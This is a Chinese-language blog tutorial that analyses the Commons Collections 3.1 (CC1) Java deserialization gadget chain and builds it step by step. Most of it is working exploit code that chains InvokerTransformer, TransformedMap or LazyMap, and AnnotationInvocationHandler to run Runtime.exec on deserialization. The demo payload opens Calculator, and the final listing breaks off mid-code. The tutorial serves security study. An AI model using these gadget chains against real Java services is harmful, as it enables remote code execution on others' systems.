0%

【反序列化漏洞】commons-collections-1 组件

序言

往事依稀浑似梦,都随风雨到心头。

今天来看经典漏洞CC链,害,经典还债环节。

commons-collections-1

首先来看看commons-collections项目
官网第一段:

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

Java集合:Collection,Map

Collection:List,Set

Map:HashMap

它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection
  • 转化装饰器:修改每一个添加到collection中的object

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是利用了这一点。

漏洞复现需要下载3.1版本源码3.1版本的下载地址,进去寻觅一下源码和jar包都有。

PoC分析

这里找一个网上传烂了的PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


public class cc1 {
public static void main(String[] args) {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /Applications/Calculator.app/Contents/MacOS/Calculator"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}

}

这里借用lalajun总结的3要素:

  1. payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;把它称为:payload
  2. 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。(在此篇中就是commons-collections利用链)
  3. readObject复写利用点:服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点;我把它称为readObject复写利用点(自创名称…)

把断点下在setValue点处,查看调用栈:

先进入1次ConstantTransformer.class:

image-20200911105729719

3次InvokerTransformer.class:

image-20200911105741271

有两种,这里是由于org.apache.commons.collections.functors.ChainedTransformer#transform这个函数内部的循环有很多细节:

1
2
3
4
5
6
7
8
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
//循环进入此处,先进入1次ConstantTransformer.class,再3次InvokerTransformer.class
object = this.iTransformers[i].transform(object);
//另外需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。
}
return object;
}

漏洞链

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue

1
2
3
4
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);//进入此处
return super.entry.setValue(value);
}

org.apache.commons.collections.map.TransformedMap#checkSetValue

TransformedMap是一种重写map类型的set函数和Map.Entry类型的setValue函数去调用转换链的Map类型。

1
2
3
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);//进入此处
}

org.apache.commons.collections.functors.ChainedTransformer#transform

由于TransformedMap具有commons_collections的转变特性,当赋值一个键值对的时候会自动对输入值进行预设的Transformer的调用。

1
2
3
4
5
6
7
8
9
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
//循环进入此处,先进入1次ConstantTransformer.class,再3次InvokerTransformer.class
object = this.iTransformers[i].transform(object);
//另外需要注意在数组的循环中,前一次transform函数的返回值,会作为下一次transform函数的object参数输入。
}

return object;
}

接下来仔细看这个循环,首先用IDEA查看我们传进来的这个参数iTransformers这个数组:

image-20200911111831007

org.apache.commons.collections.functors.ConstantTransformer#transform

首先第一次进入transform函数,它返回的是class java.lang.Runtime这个类对象。

1
2
3
public Object transform(Object input) {
return this.iConstant;
}

image-20200911113736984

从第二次循环开始,就会进入org.apache.commons.collections.functors.InvokerTransformer#transform了,可以看到这次进入transform函数的参数object就变成了上一次返回的class java.lang.Runtime

image-20200911140710656

仔细看这次的transform函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
//获取input对象的class
Class cls = input.getClass();
//根据iMethodName、iParamTypes选择cls中的一个方法
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
//根据iArgs参数调用这个方法
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

重点来了!!!

可以看到代码中直接就调用了invoke方法,调用一系列参数,这就是触发点,接下来仔细看。

明显的反射机制,可见InvokerTransformer就是我们的触发任意代码执行处,看看源码中的文件描述:
先看看我们需要关注的InvokerTransformer类的描述:

1
2
3
4
/**
* Transformer implementation that creates a new object instance by reflection.
*
通过反射机制创建一个新的对象实例的转换器实现

我们可以这里有经典的反射机制调用,在细节分析前我们先整理一下调用栈,但不需要很理解。

1
2
3
4
5
6
Map.Entry 类型setValue("foobar")
=> AbstracInputCheckedMapDecorator.setValue()
=> TransformedMap.checkSetValue()
=> ChainedTransformer.transform(Object object)
根据数组,先进入 => ConstantTransformer.transform(Object input)
再进入 => InvokerTransformer.transform(Object input)

PoC构造

目标:

首先明确我们的最终目的是为了执行语句Runtime.getRuntime().exec("calc.exe");

  • Runtime.getRuntime:获取一个Runtime的实例
  • exec():调用实例的exec函数

因为漏洞函数最后是通过反射机制调用任意这个语句先转化成反射机制如下(后面需要用到):

1
2
3
4
5
6
7
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
,
"/Applications/Calculator.app/Contents/MacOS/Calculator"
)

第一步:InvokerTransformer

再回看反射机制触发函数InvokerTransformer类的transform(Object input)(做了简化处理,只留取重点部分):

1
2
3
4
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

通过构造的反射机制以及以上代码进行填空,可以得出当变量等于以下值时,可形成命令执行:

1
2
3
4
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
this.iMethodName="exec"
this.iParamTypes=String.class
this.iArgs="/Applications/Calculator.app/Contents/MacOS/Calculator"

那么在InvokerTransformer类源码中我们可以找到赋值this.iMethodName,this.iParamTypes,this.iArgs的构造函数:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

以下测试代码直接调用InvokerTransformer通过反射执行任意命令:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
//通过构造函数,输入对应格式的参数,对iMethodName、iParamTypes、iArgs进行赋值
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"}
);
//构造input
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//执行
a.transform(input);
}

直接成功:)

image-20200911155908541

第二步 ChainedTransformer

弹出了计算器!好像很厉害的样子!然后我们来模拟一下利用场景:

  • 为了方便,攻击者受害者写在同一函数中
  • 使用文件写入,代替网络传输

由于InvokerTransformer继承了Serializable类,是可以成功序列化的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void main(String[] args) throws Exception {
//模拟攻击
//1.客户端构造序列化payload,使用写入文件模拟发包攻击
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"});

FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(a);
//2.服务端从文件中读取payload模拟接受包,然后触发漏洞
//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//神奇第一处:服务端需要自主构造恶意input
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
//神奇第二处:服务端需要将客户端输入反序列化成InvokerTransformer格式,并在服务端自主传入恶意参数input
InvokerTransformer a_in = (InvokerTransformer) fin.readObject();
a_in.transform(input);
}

我们会发现如果我们要直接利用这个反射机制作为漏洞的话,需要服务端的开发人员:

  1. 帮我们写一个payload作为input;
  2. 接受客户端输入参数,反序列化成InvokerTransformer类
  3. 再刻意调用InvokerTransformer类的transform函数

实际上…..只有开发人员是自己人的情况下才满足条件吧……

所以我们面临一些问题:

  1. payload肯定需要在客户端可以自定义构造,再传输进入服务端
  2. 服务端需要把我们的输入exp反序列化成一个在代码中可能使用到的类
  3. 并且在代码正常操作中会调用这个类中的一个可触发漏洞地函数(当然这个函数最后会进入我们InvokerTransformer类的transform函数,从而形成命令执行)
  4. 如果这个反序列化的类和这个类触发命令执行的方法可以在一个readObject复写函数中恰好触发,就对于服务端上下文语句没有要求了!

这边假如像预期这样,是对服务端上下文没有要求,因为只要执行readObject就肯定会命令执行,不需要其他上下文条件。
但是对于服务端版本环境是有要求的,之后会说到

那么我们一个个来解决问题:首先使客户端自定义paylaod!

下面我们需要关注ChainedTransformer这个类,首先看一下这个类的描述:

1
2
3
4
5
6
7
8
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
将指定的转换器连接在一起的转化器实现。
输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推

可以知道他会把我们的Transformer变成一个串,再逐一执行,其中这个操作对应的就是ChainedTransformer类的transform函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
//熟悉,这就是刚才上面提到的循环
object = iTransformers[i].transform(object);
}
return object;
}

这里会遍历iTransformers数组,依次调用这个数组中每一个Transformer的transform,并串行传递执行结果。

首先确定iTransformers可控,iTransformers数组是通过ChainedTransformer类的构造函数赋值的。

1
2
3
4
5
6
7
8
9
10
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();//这个super不清楚做了啥,
iTransformers = transformers;
}

那么我们知道可以自定义iTransformers的内容,我们已有条件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//最终执行目标
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))//此处在获取实例
,
"/Applications/Calculator.app/Contents/MacOS/Calculator"
)
//InvokeTransformer关键语句:
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}

再看到InvokeTransformer代码我们需要引出一个注意点

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class

可以使用如下代码验证,这里不再赘述

1
2
3
4
5
6
7
8
Object a = Runtime.getRuntime();
Class b = Runtime.class;
System.out.println(a.getClass());
System.out.println(b.getClass());

//结果
//class java.lang.Runtime
//class java.lang.Class

基于之前写的代码:

1
2
3
4
5
6
7
//只调用InvokeTransformer的情况如下:
InvokerTransformer a = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"});

Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));

我们也可以知道input的为Runtime类的对象,所以cls就是Runtime类,所以cls.getMethod可以找到exec方法,直接进行调用。

先把a封装成ChainedTransformer格式,但是payload还是在外面

1
2
3
4
5
6
7
8
9
//客户端构造payload
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"});
}
Transformer transformerChain = new ChainedTransformer(transformers);

//服务端触发所需内容
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
transformerChain.transform(input);//此处必须为input,作为第一个输入

把payload放入Transformer数组中,需要转化成特定的Transformer格式才行。

第三步 ConstantTransformer -> Runtime实例序列化

我们找到ConstantTransformer类跟InvokkerTransformer一样继承Transforme父类,可以进入数组
顾名思义ConstantTransformer类其实就只会存放一个常量;它的构造函数会写入这个变量,他的transform函数会返回这个变量。
把Runtime实例写入这个变量:

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[] {
//以下两个语句等同,一个是通过反射机制得到,一个是直接调用得到Runtime实例
// new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);//此处输入可以为任意值,因为不会被使用到,相当于初始第一个输入为我们设置的常量

以上代码可以成功弹框执行!这里其实就是把之前的input放进chain里面去了。

那么我们模拟一下序列化与反序列化过程!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//客户端构造payload
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);

//服务端反序列化payload读取
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);

但是因为Runtime类的定义没有继承Serializable类,所以是不支持反序列化的。

第四步 服务端构造Runtime示例

既然我们没法在客户端序列化写入Runtime的实例,那就让服务端执行我们的命令生成一个Runtime实例呗?
我们知道Runtime的实例是通过Runtime.getRuntime()来获取的,而InvokerTransformer里面的反射机制可以执行任意函数。
同时,我们已经成功执行过Runtime类里面的exec函数。讲道理肯定是没问题的.

我们先看getRuntime方法的参数:

1
2
3
public static Runtime getRuntime() {
return currentRuntime;
}

没有参数,那就非常简单了

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//得到Runtime class
//由于InvokerTransformer的构造函数要求传入Class类型的参数类型,和Object类型的参数数值,所以封装一下,下面也一样
//上面传入Runtime.class,调用Runtime classgetRuntime方法(由于是一个静态方法,invoke调用静态方法,传入类即可)
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
//上面Runtime.getRuntime()得到了实例,作为这边的输入(invoke调用普通方法,需要传入类的实例)
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);

invoke的return是根据被调用的函数return啥,invoke就return啥。
就好比我invoke一个我自定义的方法a,在a中,我return了字符串”1”。那么就是invoke的结果就是字符串”1”。
看以上的过程就是第一次Runtime.getRuntime()的结果输入了下一个InvokerTransformer

但是!!!

1
2
3
4
5
6
7
//InvokeTransformer关键语句:
public Object transform(Object input) {//input为我们设置的常量Runtime.class
Class cls = input.getClass();//!!!这里由于input是一个类,会得到java.lang.Class
//在java.lang.Class类中去寻找getRuntime方法企图得到Runtime类对象,此处报错!!
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}

还是会陷入死胡同:

得到Runtime类实例才能调用exec方法。
而得到Runtime类实例作为input,才能得到Runtime class,才能找到getRuntime方法,得到Runtime类实例………

破局:反射!!!

还是得反射去搞:

目前是开头不能获得Class.forName("java.lang.Runtime"),只能得到Class.forName("java.lang.Class")

我们的最终目的是执行
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

这里的思路是:

  1. 对于Class.forName("java.lang.Class")环境下,需要先把getMethod方法拿到。
  2. 再用getMethod方法去把获取Runtime类中的getRuntime函数反射出来,哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的
  3. 再通过反射机制获取反射机制中的invoke方法,执行上面获取的getRuntime函数

先来获取getRuntime类

1
2
3
4
5
//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
//使用java.lang.Class开头
Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class }).invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
//invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数

image-20200914090729438

image-20200914092306947

先来构造第一层:

1
2
3
Class cls = input.getClass();//cls = java.lang.Class
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法
return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法,并返回这个方法
1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

对照着来,构造如下:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),//先获取Runtime实例
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
//还需要填充,调用getRuntime得到Runtime实例,第一个参数是获取的方法,这里先获取getMethod方法,第二个是参数列表,这个是getMethod方法的参数列表,第三个参数是invoke方法的参数列表,这里我们想先反射出来getRuntime参数,Class[0]是用来占位的,这部分在经过transform函数处理之后,返回的是getRuntime()这样的一个方法。
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
//最后一轮是先获取exec方法,invoke方法的命令是“/Applications/Calculator.app/Contents/MacOS/Calculator”
};

但是这里并不是这么简单的,细节:

这里需要清楚的是,在第二层出来之后,需要注意的是返回的是getRuntime这个方法,是Method类型的。它会进入到下一层循环,所以没法继续invoke这里需要进行反射出来invoke方法。

继续构造:

1
2
3
4
//input=getRuntime这个方法
Class cls = input.getClass();//cls = java.lang.Method(getRuntime方法是method类)
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法,method=invoke方法
return method.invoke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

以上最后一步有点复杂,method就是invoke方法,相当于使用invoke调用了invoke函数。
首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:

1
2
3
4
public Object invoke(Object obj, Object... args)
//this.iMethodName="invoke"
//this.iParamTypes=new Class[] {Object.class, Object[].class }
//外面class、Object封装是InvokerTransformer类的构造函数要求

按照invoke中的input才是它要调用的环境的准则。
invoke方法.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)
而input=getRuntime方法,那么只要填入this.iArgs就好了

又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRuntime方法不需要参数。
this.iArgs=null,new Object[0]

那么整合就如下:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};

img

一个字:妙!

image-20200915094410701

第五步 TransformedMap

我们看一下目前的攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class commons_collections_3_1 {

public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(transformerChain);

//2.服务端读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);

//服务端反序列化成ChainedTransformer格式,再调用transform函数
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);
}
}

如何提高利用度?

分装成Map

由于我们得到的是ChainedTransformer,一个转换链,TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。

这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值。很明显后者是一个常规操作,极有可能被触发。

查看org.apache.commons.collections.map.TransformedMap#decorate源码:

image-20200914100613071

try一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(outerMap);

//2.服务端接受反序列化,出发漏洞
//读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);

//服务端反序列化成Map格式,再调用transform函数
Map outerMap_now = (Map)fin.readObject();
//2.1可以直接map添加新值,触发漏洞
//outerMap_now.put("123", "123");
//2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}

有效的。

lazyMap版本

直接上PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public class lazyMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

HashMap innerMap = new HashMap();
innerMap.put("value","ddddddd");

Map lazyMap = LazyMap.decorate(innerMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

// 创建LazyMap的handler实例
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,lazyMap);
// 创建LazyMap的动态代理实例
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(), handler);

// 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues
InvocationHandler handler1 = (InvocationHandler)cons.newInstance(Override.class, mapProxy);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();

// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

也是可以的

第六步 寻找readObject复写点

上面的PoC还是有点别扭,需要服务端配合将反序列化内容反序列化为map,并对值进行修改。

在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler
看他的构造函数:

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时
this.type = var1;//传入的var1到this.type
this.memberValues = var2;//我们的map传入this.memberValues
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

readObject复写函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
//默认反序列化,这里是前半部分代码
var1.defaultReadObject();
AnnotationType var2 = null;

try {
//这里的this.type是我们在实例化的时候传入的jdk自带的Target.class
//之前的poc语句是这样Object instance = ctor.newInstance(Target.class, outerMap);
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();//
Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();//遍历map迭代器
String var6 = (String)var5.getKey();//获取key的名称
Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样
if (var7 != null) {
Object var8 = var5.getValue();//获取map的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}

}
}

虽然相对于这个类具体做什么,实在是没有精力去搞清楚了,但是它最终对于我们传入构造函数的map进行遍历赋值。
这样就弥补了我们之前反序列化需要服务端存在一些条件的不足,形成完美反序列化攻击。

最终模拟攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
//1.客户端构建攻击代码
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//反射机制调用AnnotationInvocationHandler类的构造函数
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
